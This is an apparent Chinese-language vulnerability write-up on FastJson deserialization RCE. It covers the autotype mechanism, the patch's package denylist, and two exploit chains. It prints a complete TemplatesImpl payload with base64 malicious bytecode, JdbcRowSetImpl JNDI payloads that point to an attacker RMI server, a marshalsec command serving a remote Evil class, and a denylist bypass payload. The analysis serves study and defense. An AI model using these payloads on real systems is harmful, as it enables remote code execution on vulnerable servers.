FastJson反序列化漏洞
环境搭建
创建Maven项目
1 | <dependency> |
漏洞详情
影响版本
1.2.24版本以下
根据官方的公告中的WAF检测方法来看,问题很有可能是因为反序列化了任意类型的class从而导致的RCE。
关于漏洞的具体详情可参考 https://github.com/alibaba/fastjson/wiki/security_update_20170315
漏洞分析
1 | import com.alibaba.fastjson.JSON; |
可以看到 parse(String)
将JSON字符串解析成了一个JSONObject对象,parseObject(String,Class)
将JSON字符串反序列化为一个相应的Java对象
另外FastJson还提供一个特殊字符段 @type
,通过这个字段可以指定反序列化任意类
1 | import com.alibaba.fastjson.JSON; |
运行结果
1 | {"@type": "org . example.User","name":"L0ki"} |
根据终端回显,我们可以看出来:在反序列化的同时调用了对象的set方法,说明FastJson在对JSON字符串反序列化的时候,会尝试通过setter方法对对象的属性进行赋值
那么在这种情况下,找到有可以利用的setter方法的类,就能完成该漏洞的利用
在满足一定条件下也会调用getter方法
- 方法名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无传入参数
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
1 | import com.alibaba.fastjson.JSON; |
运行结果
1 | {"table":{}} |
具体的规则参考于 JAVA反序列化—FastJson组件
静态分析
通过官网给出的补丁文件,主要的更新在这个checkAutoType函数上,而这个函数的主要功能就是添加了黑名单,将一些常用的反序列化利用库都添加到黑名单中。具体包括:
1 | bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework |
// 新增的黑名单
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframewor
同时添加了checkAutoType类:
1 | public Class<?> checkAutoType(String typeName, Class<?> expectClass) { |
我们可以看到其核心代码就是:
1 | if (autoTypeSupport) { |
直接遍历denyList数组,只要引用的库中是以denyList中某个deny打头,即以我们的黑名单中的字符串开头的就直接抛出异常中断运行。
POC—基于Templatempl
根据test.java我们可以看到恶意代码的执行位置在构造方法中
1 | public class Poc { |
根据POC的关键代码我们进行分析
- @type指定解析类,fastjson会根据指定类去反序列化得到该类的实例
- _bytecodes,加载的恶意字节码
- _ outputProperties->getOutputProperties
- _ tfactory,_ name
- Feature.SupportNonPublicField
我们可以看到Test.java主要实现了一个类,这个类利用 Runtime.getRuntime().exec("calc");
语句执行弹出计算器的命令,而POC.java文件中主要执行test_autoTypeDeny()函数,函数获取Test.java文件编译完成后的.class文件然后进行base64编码,将编码后的字符串赋值给_bytecodes加上POC.
通过 Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
执行反序列化操作,执行命令。
在这个poc中,最核心的部分是 _ bytecodes
,它是要执行的代码,@type
是指定的解析类,fastjson
会根据指定类去反序列化得到该类的实例,在默认情况下,fastjson只会反序列化公开的属性和域,而 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
中 _ bytecodes
却是私有属性,_ name
也是私有域,所以在 parseObject
的时候需要设置 Feature.SupportNonPublicField
,这样 _ bytecodes
字段才会被反序列化。_ tfactory
这个字段在 TemplatesImpl
既没有get方法也没有set方法,这没关系,我们设置 _ tfactory
为{ },fastjson会调用其无参构造函数得 _ tfactory
对象,这样就解决了某些版本中在 defineTransletClasses()
用到会引用 _tfactory
属性导致异常退出。
所以可以根据这个构造漏洞利用的 payload
:
1 | text1={"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEANAcAAgEAC3BlcnNvbi9UZXN0BwAEAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEABjxpbml0PgEAAygpVgEACkV4Y2VwdGlvbnMHAAkBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAEQ29kZQoAAwAMDAAFAAYKAA4AEAcADwEAEWphdmEvbGFuZy9SdW50aW1lDAARABIBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAUAQAfL3Vzci9iaW4vdG91Y2ggL3RtcC9zdWNjZXNzLnR4dAoADgAWDAAXABgBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEADUxwZXJzb24vVGVzdDsBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAnAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgcALQEAE2phdmEvbGFuZy9FeGNlcHRpb24KAAEADAEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEAIQABAAMAAAAAAAQAAQAFAAYAAgAHAAAABAABAAgACgAAAEAAAgABAAAADiq3AAu4AA0SE7YAFVexAAAAAgAZAAAADgADAAAADwAEABAADQARABoAAAAMAAEAAAAOABsAHAAAAAEAHQAeAAEACgAAAEkAAAAEAAAAAbEAAAACABkAAAAGAAEAAAAVABoAAAAqAAQAAAABABsAHAAAAAAAAQAfACAAAQAAAAEAIQAiAAIAAAABACMAJAADAAEAHQAlAAIABwAAAAQAAQAmAAoAAAA/AAAAAwAAAAGxAAAAAgAZAAAABgABAAAAGQAaAAAAIAADAAAAAQAbABwAAAAAAAEAHwAgAAEAAAABACgAKQACAAkAKgArAAIABwAAAAQAAQAsAAoAAABBAAIAAgAAAAm7AAFZtwAuTLEAAAACABkAAAAKAAIAAAAcAAgAHQAaAAAAFgACAAAACQAvADAAAAAIAAEAMQAcAAEAAQAyAAAAAgAz"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"} |
Feature.SupportNonPublicField
在漏洞触发时必须传入 Feature.SupportNonPublicField
参数,这也成了该条利用链的限制,导致不是很通用
1 | JSON.parse(poc,Feature.SupportNonPublicField); |
这是因为POC中有一些private属性,而且 TemplatesImpl
类中没有相应的set方法,所以需要传入该参数让其支持非public属性,当然如果private属性存在相应set方法的话,FastJson会自动调用其set方法完成赋值,不需要 Feature.SupportNonPublicField
参数
1 | import com.alibaba.fastjson.JSON; |
POC—基于JNDI+JdbcRowSetImpl
分析流程
- 查找远程对象的可控参数
getDataSourceName()
- 设置该参数
setDataSourceName(String var1)
- 提交该参数
setAutoCommit(boolean var1)
JdbcRowSetImpl
查找远程对象
1 | else if (this.getDataSourceName() != null) { |
如果 this.getDataSourceName()
可控且能触发 connect()
便有可能实现JNDI注入达到RCE
setDataSourceName(String var1)
函数赋值 dataSourceName
setAutoCommit(boolean var1)
函数调用了 connect()
FastJson会自动调用setter来完成对对象属性的赋值,所以这里payload
1 | { |
首先 @type
字段会指定反序列化 com.sun.rowset.JdbcRowSetImpl
类
然后调用 setDataSourceName(String var1)
对 dataSourceName
赋值,这里赋值为恶意的RMI服务地址
最后调用 setAutoCommit(boolean var1)
从而调用 connect()
触发JNDI注入,autoCommit
的值类型是 boolean
,这里设置 true
或 false
都可,JNDI注入部分可以参考深入理解JNDI注入与Java反序列化漏洞利用
下面构造一个恶意类,其中执行命令的代码可以放在构造方法,getObjectInstance()
方法或者静态代码块中
javac Evil.java
1 | import java.io.IOException; |
利用一
通过RMI服务返回一个 JNDI Naming Reference
,受害者解码 Reference
时会去我们指定的 Codebase
远程地址加载 Factory类
1 | import com.sun.jndi.rmi.registry.ReferenceWrapper; |
利用二
借助marshalsec项目,直接启动一个RMI服务器,监听9999端口,并制定加载远程类 Evil.class
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip/#Evil" 9999 |
最后运行漏洞代码加载payload
注意
在高版本中Java限制了 Naming/Directory
服务中 JNDI Reference
远程加载 Object Factory类
的特性。默认不允许从远程的 Codebase
加载 Reference
工厂类。如果需要开启 RMI Registry
或者 COS Naming Service Provider
的远程类加载功能,需要将相关属性值设置为 true
本地复现
test.java
1 | import com.alibaba.fastjson.JSON; |
通杀
{"atype":"java. lang. Class","val":" com. sun. rowset . JdbcRowSetImpL" }
{"@type" : " com . sun. rowset . JdbcRowSetImpl"," dataSourceName": " rmi:/ ip/Exploit"," autoCommit": true }